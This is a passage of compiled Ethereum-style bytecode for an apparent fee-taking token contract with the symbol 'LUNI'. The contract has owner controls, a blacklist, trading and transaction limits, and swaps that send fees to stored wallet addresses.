61398a565b60405180910390fd5b82600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b600061106a61101d600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166114d0565b61105c61104b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166114d0565b60065461253f90919063ffffffff16565b61253f90919063ffffffff16565b905090565b61107833611c72565b6110b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ae9061398a565b60405180910390fd5b81601460006101000a81548160ff02191690831515021790555080601460016101000a81548160ff021916908360ff1602179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b61115b33611c72565b61119a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111919061398a565b60405180910390fd5b6000479050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611207573d6000803e3d6000fd5b5050565b61121433611c72565b611253576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124a9061398a565b60405180910390fd5b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006112da827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610af8565b9050919050565b6112ea33611c72565b611329576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113209061398a565b60405180910390fd5b8060078190555050565b61133c33611c72565b61137b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113729061398a565b60405180910390fd5b8060088190555050565b61138e33611c72565b6113cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c49061398a565b60405180910390fd5b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601d60009054906101000a900460ff1681565b61144433611c72565b611483576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147a9061398a565b60405180910390fd5b8360098190555082600b8190555081600a819055506114bd826114af858761258990919063ffffffff16565b61258990919063ffffffff16565b600c8190555080600d8190555050505050565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601460019054906101000a900460ff1681565b60075481565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60085481565b60606040518060400160405280600481526020017f4c554e4900000000000000000000000000000000000000000000000000000000815250905090565b60006115b1338484611d2c565b905092915050565b6115c2336110f0565b611601576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f8906139f6565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601460009054906101000a900460ff1681565b60125481565b60006116df611681610fed565b6116d16116c260026116b4601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166114d0565b6125e790919063ffffffff16565b856125e790919063ffffffff16565b61266290919063ffffffff16565b9050919050565b6116ef33611c72565b61172e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117259061398a565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561179d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179490613a88565b60405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016117d89190613838565b602060405180830381865afa1580156117f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118199190613abd565b9050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611883573d6000803e3d6000fd5b505050565b6000601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61191833611c72565b611957576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194e9061398a565b60405180910390fd5b81601d60006101000a81548160ff02191690831515021790555080601f819055505050565b611985336110f0565b6119c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119bb906139f6565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600043601354601254611a329190613b19565b10611a5457611a4d600a600d5461253f90919063ffffffff16565b9050611a7e565b8115611a7857611a71600e54600c5461258990919063ffffffff16565b9050611a7e565b600c5490505b919050565b611a8c336110f0565b611acb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac2906139f6565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051611b919190613bce565b60405180910390a150565b611ba533611c72565b611be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdb9061398a565b60405180910390fd5b80601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601c6020528060005260406000206000915054906101000a900460ff1681565b601660009054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000838311158290611d10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d07919061347d565b60405180910390fd5b5060008385611d1f9190613be9565b9050809150509392505050565b6000602060009054906101000a900460ff1615611d5557611d4e8484846126ac565b9050612538565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611df95750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e4e57601660009054906101000a900460ff16611e4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4490613c69565b60405180910390fd5b5b611e58848361287f565b601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611efc5750601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3290613cd5565b60405180910390fd5b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611fe75750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156120d057601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612090575060085482601760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461208d9190613b19565b11155b6120cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c690613d67565b60405180910390fd5b5b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121395750601460009054906101000a900460ff165b801561218f5750601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156122775742601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220c90613df9565b60405180910390fd5b601460019054906101000a900460ff1660ff16426122339190613b19565b601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61227f61291c565b1561228d5761228c6129f3565b5b6122956130e7565b1580156122ef5750601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15612349576000601760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541161234057600080fd5b6123486130f4565b5b6123d2826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250601760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cc89092919063ffffffff16565b601760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000612420856130fd565b61242a5782612436565b612435858585613154565b5b905061248a81601760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258990919063ffffffff16565b601760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161252a919061336b565b60405180910390a360019150505b9392505050565b600061258183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cc8565b905092915050565b60008082846125989190613b19565b9050838110156125dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125d490613e65565b60405180910390fd5b8091505092915050565b6000808314156125fa576000905061265c565b600082846126089190613e85565b90508284826126179190613f0e565b14612657576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161264e90613fb1565b60405180910390fd5b809150505b92915050565b60006126a483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506132ef565b905092915050565b6000612737826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250601760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cc89092919063ffffffff16565b601760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127cc82601760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258990919063ffffffff16565b601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161286c919061336b565b60405180910390a3600190509392505050565b600754811115806128d95750601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612918576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161290f9061401d565b60405180910390fd5b5050565b6000601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156129895750602060009054906101000a900460ff16155b80156129a15750601d60009054906101000a900460ff165b80156129ee5750601f54601760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001602060006101000a81548160ff0219169083151502179055506000612a19306114d0565b90506000612a596002612a4b600c54612a3d600954876125e790919063ffffffff16565b61266290919063ffffffff16565b61266290919063ffffffff16565b90506000612a70828461253f90919063ffffffff16565b90506000600267ffffffffffffffff811115612a8f57612a8e61403d565b5b604051908082528060200260200182016040528015612abd5781602001602082028036833780820191505090505b5090503081600081518110612ad557612ad461406c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110612b4657612b4561406c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050601d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008530426040518663ffffffff1660e01b8152600401612be9959493929190614194565b600060405180830381600087803b158015612c0357600080fd5b505af1158015612c17573d6000803e3d6000fd5b505050506000612c30824761253f90919063ffffffff16565b90506000612c5e612c4d600260095461266290919063ffffffff16565b600c5461253f90919063ffffffff16565b90506000612c9c6002612c8e84612c80600954886125e790919063ffffffff16565b61266290919063ffffffff16565b61266290919063ffffffff16565b90506000871115612db057601d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982308a600080601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401612d30969594939291906141ee565b60606040518083038185885af1158015612d4e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612d73919061424f565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b45068188604051612da79291906142a2565b60405180910390a15b6000612dec6002612dde85612dd0600a54896125e790919063ffffffff16565b61266290919063ffffffff16565b61266290919063ffffffff16565b90506000612e2a6002612e1c86612e0e600b548a6125e790919063ffffffff16565b61266290919063ffffffff16565b61266290919063ffffffff16565b90506000612e41838361258990919063ffffffff16565b90506000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168361753090604051612e8f906142fc565b600060405180830381858888f193505050503d8060008114612ecd576040519150601f19603f3d011682016040523d82523d6000602084013e612ed2565b606091505b5050905080612f16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f0d9061435d565b60405180910390fd5b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168561753090604051612f62906142fc565b600060405180830381858888f193505050503d8060008114612fa0576040519150601f19603f3d011682016040523d82523d6000602084013e612fa5565b606091505b5050905080612fe9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fe09061435d565b60405180910390fd5b6000602060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168461753090604051613035906142fc565b600060405180830381858888f193505050503d8060008114613073576040519150601f19603f3d011682016040523d82523d6000602084013e613078565b606091505b50509050806130bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130b39061435d565b60405180910390fd5b50505050505050505050505050506000602060006101000a81548160ff021916908315150217905550565b6000806012541415905090565b43601281905550565b6000601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b6000806131d6600d546131c86131b9601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614611a1f565b866125e790919063ffffffff16565b61266290919063ffffffff16565b905061322a81601760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258990919063ffffffff16565b601760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516132ca919061336b565b60405180910390a36132e5818461253f90919063ffffffff16565b9150509392505050565b60008083118290613336576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161332d919061347d565b60405180910390fd5b50600083856133459190613f0e565b9050809150509392505050565b6000819050919050565b61336581613352565b82525050565b6000602082019050613380600083018461335c565b92915050565b600080fd5b61339481613352565b811461339f57600080fd5b50565b6000813590506133b18161338b565b92915050565b6000602082840312156133cd576133cc613386565b5b60006133db848285016133a2565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561341e578082015181840152602081019050613403565b8381111561342d576000848401525b50505050565b6000601f19601f8301169050919050565b600061344f826133e4565b61345981856133ef565b9350613469818560208601613400565b61347281613433565b840191505092915050565b600060208201905081810360008301526134978184613444565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006134ca8261349f565b9050919050565b6134da816134bf565b81146134e557600080fd5b50565b6000813590506134f7816134d1565b92915050565b6000806040838503121561351457613513613386565b5b6000613522858286016134e8565b9250506020613533858286016133a2565b9150509250929050565b60008115159050919050565b6135528161353d565b82525050565b600060208201905061356d6000830184613549565b92915050565b61357c8161353d565b811461358757600080fd5b50565b60008135905061359981613573565b92915050565b6000602082840312156135b5576135b4613386565b5b60006135c38482850161358a565b91505092915050565b600080604083850312156135e3576135e2613386565b5b60006135f1858286016133a2565b9250506020613602858286016133a2565b9150509250929050565b60008060006060848603121561362557613624613386565b5b6000613633868287016134e8565b9350506020613644868287016134e8565b9250506040613655868287016133a2565b9150509250925092565b60008060006060848603121561367857613677613386565b5b6000613686868287016134e8565b9350506020613697868287016134e8565b92505060406136a8868287016134e8565b9150509250925092565b600060ff82169050919050565b6136c8816136b2565b81146136d357600080fd5b50565b6000813590506136e5816136bf565b92915050565b6000806040838503121561370257613701613386565b5b60006137108582860161358a565b9250506020613721858286016136d6565b9150509250929050565b60006020828403121561374157613740613386565b5b600061374f848285016134e8565b91505092915050565b613761816136b2565b82525050565b600060208201905061377c6000830184613758565b92915050565b6000806040838503121561379957613798613386565b5b60006137a7858286016134e8565b92505060206137b88582860161358a565b9150509250929050565b600080600080608085870312156137dc576137db613386565b5b60006137ea878288016133a2565b94505060206137fb878288016133a2565b935050604061380c878288016133a2565b925050606061381d878288016133a2565b91505092959194509250565b613832816134bf565b82525050565b600060208201905061384d6000830184613829565b92915050565b6000806040838503121561386a57613869613386565b5b6000613878858286016134e8565b9250506020613889858286016134e8565b9150509250929050565b600080604083850312156138aa576138a9613386565b5b60006138b88582860161358a565b92505060206138c9858286016133a2565b9150509250929050565b60006138de8261349f565b9050919050565b6138ee816138d3565b81146138f957600080fd5b50565b60008135905061390b816138e5565b92915050565b60006020828403121561392757613926613386565b5b6000613935848285016138fc565b91505092915050565b7f21415554484f52495a4544000000000000000000000000000000000000000000600082015250565b6000613974600b836133ef565b915061397f8261393e565b602082019050919050565b600060208201905081810360008301526139a381613967565b9050919050565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b60006139e06006836133ef565b91506139eb826139aa565b602082019050919050565b60006020820190508181036000830152613a0f816139d3565b9050919050565b7f43616e2774206c657420796f752074616b6520616c6c206e617469766520746f60008201527f6b656e0000000000000000000000000000000000000000000000000000000000602082015250565b6000613a726023836133ef565b9150613a7d82613a16565b604082019050919050565b60006020820190508181036000830152613aa181613a65565b9050919050565b600081519050613ab78161338b565b92915050565b600060208284031215613ad357613ad2613386565b5b6000613ae184828501613aa8565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613b2482613352565b9150613b2f83613352565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613b6457613b63613aea565b5b828201905092915050565b6000819050919050565b6000613b94613b8f613b8a8461349f565b613b6f565b61349f565b9050919050565b6000613ba682613b79565b9050919050565b6000613bb882613b9b565b9050919050565b613bc881613bad565b82525050565b6000602082019050613be36000830184613bbf565b92915050565b6000613bf482613352565b9150613bff83613352565b925082821015613c1257613c11613aea565b5b828203905092915050565b7f54726164696e67206e6f74206f70656e20796574000000000000000000000000600082015250565b6000613c536014836133ef565b9150613c5e82613c1d565b602082019050919050565b60006020820190508181036000830152613c8281613c46565b9050919050565b7f4164647265737320697320626c61636b6c697374656400000000000000000000600082015250565b6000613cbf6016836133ef565b9150613cca82613c89565b602082019050919050565b60006020820190508181036000830152613cee81613cb2565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206261672060008201527f73697a652e000000000000000000000000000000000000000000000000000000602082015250565b6000613d516025836133ef565b9150613d5c82613cf5565b604082019050919050565b60006020820190508181036000830152613d8081613d44565b9050919050565b7f506c65617365207761697420666f7220316d696e206265747765656e2074776f60008201527f206f7065726174696f6e73000000000000000000000000000000000000000000602082015250565b6000613de3602b836133ef565b9150613dee82613d87565b604082019050919050565b60006020820190508181036000830152613e1281613dd6565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613e4f601b836133ef565b9150613e5a82613e19565b602082019050919050565b60006020820190508181036000830152613e7e81613e42565b9050919050565b6000613e9082613352565b9150613e9b83613352565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ed457613ed3613aea565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613f1982613352565b9150613f2483613352565b925082613f3457613f33613edf565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613f9b6021836133ef565b9150613fa682613f3f565b604082019050919050565b60006020820190508181036000830152613fca81613f8e565b9050919050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b60006140076011836133ef565b915061401282613fd1565b602082019050919050565b6000602082019050818103600083015261403681613ffa565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b60006140c06140bb6140b68461409b565b613b6f565b613352565b9050919050565b6140d0816140a5565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61410b816134bf565b82525050565b600061411d8383614102565b60208301905092915050565b6000602082019050919050565b6000614141826140d6565b61414b81856140e1565b9350614156836140f2565b8060005b8381101561418757815161416e8882614111565b975061417983614129565b92505060018101905061415a565b5085935050505092915050565b600060a0820190506141a9600083018861335c565b6141b660208301876140c7565b81810360408301526141c88186614136565b90506141d76060830185613829565b6141e4608083018461335c565b9695505050505050565b600060c0820190506142036000830189613829565b614210602083018861335c565b61421d60408301876140c7565b61422a60608301866140c7565b6142376080830185613829565b61424460a083018461335c565b979650505050505050565b60008060006060848603121561426857614267613386565b5b600061427686828701613aa8565b935050602061428786828701613aa8565b925050604061429886828701613aa8565b9150509250925092565b60006040820190506142b7600083018561335c565b6142c4602083018461335c565b9392505050565b600081905092915050565b50565b60006142e66000836142cb565b91506142f1826142d6565b600082019050919050565b6000614307826142d9565b9150819050919050565b7f72656365697665722072656a656374656420414441207472616e736665720000600082015250565b6000614347601e836133ef565b915061435282614311565b602082019050919050565b600060208201905081810360008301526143768161433a565b905091905056fea264697066735822122086be7b30e40209be929aa23704b36427dbf17b999dd4c9a9c67bd9dbb3f06b3664736f6c634300080b0033